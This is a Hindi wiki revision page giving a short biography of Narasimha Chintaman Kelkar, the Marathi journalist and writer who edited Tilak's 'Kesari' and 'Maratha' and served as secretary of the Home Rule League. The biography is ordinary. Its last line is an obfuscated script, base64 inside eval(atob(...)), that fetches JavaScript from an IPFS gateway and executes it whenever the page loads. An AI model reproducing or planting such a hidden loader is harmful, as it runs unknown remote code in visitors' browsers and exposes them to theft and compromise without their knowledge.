नरसिंह चिन्तामन केलकर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 13: Line 13:
|गुरु=
|गुरु=
|कर्म भूमि=[[भारत]]
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र= पत्रकारिता, साहित्य
|कर्म-क्षेत्र= पत्रकारिता, साहित्यकार
|मुख्य रचनाएँ=
|मुख्य रचनाएँ=
|विषय=
|विषय=

Revision as of 13:05, 5 August 2017

नरसिंह चिन्तामन केलकर
पूरा नाम नरसिंह चिन्तामन केलकर
जन्म 24 अगस्त, 1872
जन्म भूमि मिराज रियासत, महाराष्ट्र
मृत्यु 14 अक्टूबर, 1947
मृत्यु स्थान पुणे
कर्म भूमि भारत
कर्म-क्षेत्र पत्रकारिता, साहित्यकार
भाषा मराठी
शिक्षा वकालत
नागरिकता भारतीय
संबंधित लेख लोकमान्य बालगंगाधर तिलक,
अन्य जानकारी 1914 में लोकमान्य बालगंगाधर तिलक के द्वारा ‘होमरूल लीग’ बनाई गई। उसके सचिव केलकर चुने गए। 1918 में होमरूल लीग के प्रतिनिधि मंडल के साथ केलकर इंग्लैंड भी गए।
अद्यतन‎

नरसिंह चिन्तामन केलकर (अंग्रेज़ी: Narasimha Chintaman Kelkar, जन्म- 24 अगस्त, 1872 ई., मिरज रियासत, महाराष्ट्र; मृत्यु- 14 अक्टूबर, 1947) लोकमान्य बालगंगाधर के सहयोगी प्रसिद्ध पत्रकार और मराठी भाषा के प्रबुद्ध साहित्यकार थे। वह लोकमान्य बालगंगाधर तिलक के द्वारा बनाई गई ‘होमरूल लीग’ के सचिव थे।[1]

परिचय

नरसिंह चिन्तामन केलकर का जन्म महाराष्ट्र की मिरज रियासत में 24 अगस्त 1872 ई. को हुआ था। पूना से क़ानून की डिग्री लेने के बाद केलकर ने सतारा में वकालत आरम्भ की।

पत्रकारिता

जब उन्होंने पूना में वकालत करना आरम्भ किया था तो उसी समय लोकमान्य तिलक को अपने पत्रों ‘केसरी’ और ‘मराठा’ संपादन में एक सहायक की आवश्यकता थी। यह सूचना मिलते ही केलकर 1896 में पूना आ गये। उसके बाद वह लोकमान्य के पत्रों से जुड़े रहे। 1897 में विदेशी सरकार की आलोचना करने पर तिलक को 18 महिने की कैद की सज़ा हुई तो उन्होंने जेल से सन्देश भेजा कि दोनों पत्रों के संपादक केलकर होंगे। जेल से आने पर भी तिलक ने केवल ‘केशरी’ का सम्पादन अपने हाथ में लिया। ‘मराठा’ का सम्पादन केलकर ही करते रहे। 1908 में 6 वर्ष की कैद की सज़ा देकर तिलक को बर्मा (वर्तमान म्यांमार) की मांडले जेल में बंद कर दिया तो फिर दोनों पत्रों का भार केलकर के ऊपर आ गया। 1914 में जेल से बाहर आकर तिलक ने ‘होमरूल लीग’ बनाई तो उसके सचिव भी केलकर ही चुने गए। 1918 में होमरूल लीग के प्रतिनिधि मंडल के साथ केलकर इंग्लैंड भी गए। सामाजिक मामलों में तिलक के विचार पुरातनवादी थे और केलकर आधुनिक विचारों के व्यक्ति थे। इस विचार भेद के कारण केलकर ने कई बार पत्रों से हटना चाहा किंतु उनकी योग्यता के कारण तिलक ने उन्हें नहीं छोड़ा।

मराठा साहित्यकार

नरसिंह चिन्तामन केलकर, लोकमान्य बालगंगाधर तिलक के अनन्य सहयोगी प्रसिद्ध पत्रकार और मराठी भाषा के प्रबुद्ध साहित्यकार थे। उन्होंने विभिन्न विधाओं में मराठी साहित्य की सेवा की। उनकी रचनाएं 1200 पृष्ठों से अधिक की हैं।

निधन

नरसिंह चिन्तामन केलकर का देहांत 14 अक्टूबर, 1947 को पुणे में हुआ था।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 413 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>